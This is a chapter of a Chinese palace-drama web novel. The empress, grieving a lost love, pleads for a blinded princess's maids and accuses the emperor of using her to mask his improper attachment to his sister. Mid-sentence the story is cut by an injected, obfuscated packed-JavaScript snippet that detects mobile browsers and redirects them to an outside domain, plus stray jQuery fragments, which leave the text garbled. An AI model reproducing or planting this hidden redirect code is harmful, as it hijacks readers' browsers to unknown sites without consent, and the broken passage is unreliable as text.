34. 人伦
作品:《夺妹》 十八岁的王媖,做过两件出格的事:喜欢谢琰和在自己的生日宴上酩酊大醉。
她撑开发沉的眼皮,偏眼看着窗台上的一缕金光,清一清浑浊的嗓子,启齿:“什么时辰了?”
银杏守在寝殿里侍候,倒了温水端过去,空着的手取了软枕塞到王媖背后好叫她靠坐,不慌不忙安顿完,方才回答:“回娘娘,快巳时了。”
王媖谨守礼节,每天鸡鸣时分准时起床,贪睡至巳时,简直破天荒。
王媖非常懊恼,两弯细柳眉将将压住了眼皮:“昨晚,一切都好吧?”
她没醉到神志不清过,不能保证那时的自己会有像清醒时一样墨守成规、八面玲珑的自信。
银杏知道她所关注的,不吐不快:“娘娘,您跟那人,自从您被钦定为太子妃那刻起,就没任何可能了,您总该放下了,别再胡思乱想了……昨晚幸好这屋子里没外人,若不然,指定有一场腥风血雨。”
循规蹈矩十几年的千金小姐,遇上酒,彻底失控了——在空荡荡的屋子里,看见了无数个谢琰,一遍又一遍地质问他,为什么那么胆小,为什么眼睁睁看她拴上太子妃的枷锁,为什么不来王家提亲……太多太多的不甘,在静谧的空气、萧瑟的月光下流转着,经久不息。
问了,笑了,哭了,做了噩梦,梦里也在垂泪。
银杏终于意识到,端庄大气的凤袍下,长满了爱而不得的遗憾。
烈酒的作用下,昨夜的王媖得到了入骨的麻痹,她脑袋空空,对不久前的撕心裂肺全无印象。
“我明白……”银杏一阵见血的话,令王媖有些羞愧,不由得抓住了身下的褥子,“我明白的,不会了,再也不会了。”
与其是向银杏表决心,不若说是喃喃自语,字字敲打自己。
银杏心疼她,尽管忠言逆耳,但不忍继续,拣了些家常话缓和气氛。
正絮叨着,打外边走进一个宫女,银杏定睛认了认,不觉讶异:“青萍?”
乾清宫的宫女,青天白日的,不在乾清宫好好当差,来坤宁宫走动做什么?
宿醉后,王媖脸色不大好看,偏她十分注重仪容仪表,不愿邋里邋遢的落人口实,转过脸去,心不在焉地听屋子里的对话。
青萍先向王媖福身,后对银杏点点头,说明来意:“陛下请皇后娘娘过去瞧一瞧十公主,陪着说说话。”
今早,薛柔说身边空空的,也没个人说话解闷,让青萍霁蓝上坤宁宫请一请皇后;毕竟是姑嫂两个,在一处谈谈讲讲很正常,两人便没支吾,由青萍出面,首先去御前,取得皇帝首肯,之后就造访了坤宁宫。
银杏相当诧异,甚至觉得诡异。
那十公主眼高于顶,与皇后不对盘,少得可怜的几次碰面里,或是翻白眼,或是嘴里嗤笑,很是不耐烦,如此讨厌的一个人,主动请皇后前去作伴?
……黄鼠狼给鸡拜年,准没好事!
王媖何尝不奇怪,但皇帝张嘴了,总不好推三阻四,便略施粉黛出门了。
薛柔放弃作践自己,慢慢恢复一日三餐,药剂药膏也正常使着,不为旁的,全为了给她卖命而遭殃的三喜四庆,她千万要救她们脱身。
王媖来时,薛柔以素纱蔽目,端坐于梳妆镜前,她特别要求霁蓝给自己盘了发髻,点了红妆。
见王媖,即薛怀义的妻子,她自然要体体面面的,即便而今困顿,亦磨灭不了她是大周最尊贵的公主的傲骨。
因是私事,薛柔便打发走了下人,稍作酝酿,气息下沉道:“三喜四庆被弄去浣衣局了,我很担心。”
王媖是皇后,但她不承认,索性省去称呼,直抒胸臆了。
王媖善解人意,体谅薛柔娇纵成性,不追究她的失礼,自行就座,道:“那妹妹的意思是?”
追随声源,薛柔朝王媖的方位转头,头颅端得很正:“皇帝面前,你说话比我好使,所以……”
她从来没求过谁,况且今朝有所托的对象是王媖,和薛怀义一条船上的人,她真的低不下头,开不了口。
她半含半露的说辞,王媖领会到了,巧笑嫣然道:“妹妹何以笃定陛下能听我的呢?”
明明,她才是牵动他神思的人啊。
薛柔预想过王媖会加以为难,谁让她虎落平阳,人人可欺了呢。
“你是皇帝明媒正娶的,执掌凤印,你的话,皇帝得听。”
脑海里闪过过往的喜怒哀乐,恍如隔世,何止悲凉!
她看不见王媖,无从得知王媖直射过来的视线,有艳羡,有探究,有嘲弄,仿佛盛满了世间百态。
“那妹妹又何以认定我不会拒绝呢?”
王媖是个人,有着爱恨嗔痴的凡人,固然以贤淑大方示人,可这不等于她来者不拒,尤其是薛柔——明目张胆夺走她的丈夫关注的人。
他是皇帝,重重红墙青瓦的主人,主宰一切,薛柔在他的羽翼下,可以不计后果,恣意妄为。不像她,连直面真心也不能够。
乖顺如王媖,也会抱怨,偶尔也会嫉妒。
掺着笑意的反问敲打在耳膜上,轻悄,温柔,薛柔自然联想到王媖那张纯良无辜的粉脸。
所有人都会向着王媖,无理取闹的唯有臭名昭著的十公主薛柔罢了。
对答如流的本事仿佛随着这遭巨变而丧失了,薛柔无言以对。
是啊,王媖是薛怀义那头的,有什么立场帮她?
薛柔抻直的脖颈渐渐弯折了,盛气不复,但王媖并无雪耻后的畅意,胸口好似塞了一团棉花,堵得她透不过气来。
“我会找时间劝一劝的。”王媖起身,“但究竟成不成,且看她们两个的造化吧。”
应当独善其身的,然而她没办到。
被围在皇帝丰满的羽翼之下,薛柔不开心,她看得出来。
她自己何尝不是呢。
同是天涯沦落人,帮便帮了吧。
薛柔不感激王媖,一点都不。
她是薛怀义的人,他们联手霸占了大周江山,十恶不赦。
今儿是十五,照理,皇帝须摆驾坤宁宫,陪皇后用晚膳,而后留宿坤宁宫。
但规矩是死的,人是活的。薛怀义继承皇位两月有余,向来止步于同进晚膳。
王媖却也逆来顺受,笑盈盈恭送他离开,笑盈盈回屋吹灯就寝。
“这么好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633416|170286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的月亮,一月也只一次。”王媖在仰头看月亮,银杏有话说,慢慢站过去,举高双目,“娘娘,您给十公主求情,奴婢不敢插嘴,但有些话,奴婢憋了好久了,今儿实在忍不下去了。”
满月,月色明媚,映在王媖仰起的面庞上。
“你说,我听着。”
接下来的话,银杏在肚子里过了无数遍,只欠东风,眼下东风已至,不消耗时阻止,流利脱口:“老爷老夫人一直牵挂着您,希望您早日有个自己的孩子,前儿个还差人来问了。娘娘,今晚陛下过来,您就挽留一下吧……这个坎,总得往过跨的呀。”
王媖静静听罢,声音淡如杯中温水:“改日吧,今天我不太舒服。”
头重脚轻,心情酸涩,不舒服,处处不舒服。
银杏还打算劝谏,却闻外面通知御驾到了,无法,将就按下,随王媖出门迎驾。
饭桌上,一如既往静悄悄,不像夫妻间难得的团圆,反像不得不完成的任务,索然乏味。
饭后漱口完毕,王媖先一步站起留下打算离去的薛怀义:“陛下请留步,臣妾有些话,想单独说与陛下听。”
程胜不觉两眼放光,银杏捎带瞥见,暗中牢骚不断:想错了不是?皇后才不是为自己谋算,是一心为那十公主出面呢。
薛怀义不见意外之色,摆手屏退众人,背手逆向月辉站立,脸面模糊不清:“若是替那两个奴婢求情,皇后便就此打住吧。罚她们去浣衣局,已然是朕法外容情的结果。”
王媖猜不透薛怀义,反过来,薛怀义要了解王媖,简直到了目无全牛的境界。
王媖好似被深深的无力感裹挟了,吐出来的音节摇摇欲坠:“陛下不是分外在意十妹妹吗,何故咄咄相逼,就放那两个宫女一条活路,让十妹妹踏实养病不好吗?”
或许是因为今晚的月亮太完美,而她的心残缺不全,又无从填补的缘故,她开始烦恼,开始沮丧,开始失控。
月亮缓缓爬升,在薛怀义的脸上留下足迹,明暗交替,神妙难言。
“打抱不平不是中宫之责。”他哧的一笑,“皇后,你越界了。”
薛柔是根毒刺,长在他的眼睛里,拔或不拔,如何拔之而后快,全凭他做主。
越界吗?越界啊。
王媖跟着袒露笑容,月光未眷顾于她,她的容色惨白如霜:“先不论臣妾与陛下夫妻一体,您的妹妹便是臣妾的妹妹,臣妾多多关照她,乃分内之事;”王媖将腰肢挺得笔直,大家闺秀是她,母仪天下也是她,“光看事实,当初太后将十妹妹托付给的人,是臣妾,并非陛下。”
“皇后,你失言了。”
月色如练,一段段勾勒出一个瘦高的轮廓,从头到脚,从躯干到四肢,神秘而危险。
“陛下是在警告臣妾吗?”压抑已久的情思,轰然冲破禁忌,以排山倒海之势席卷着王媖的头脑——她逾越了大家闺秀笑不露齿的规定,开怀大笑起来,“臣妾一直好奇,从嫁入东宫的第一日起就好奇——陛下拿臣妾当什么,是您遮掩有辱人伦的挡箭牌吗?”
当初的太子与十公主,现今的皇帝与薛柔。
不三不四,不伦不类。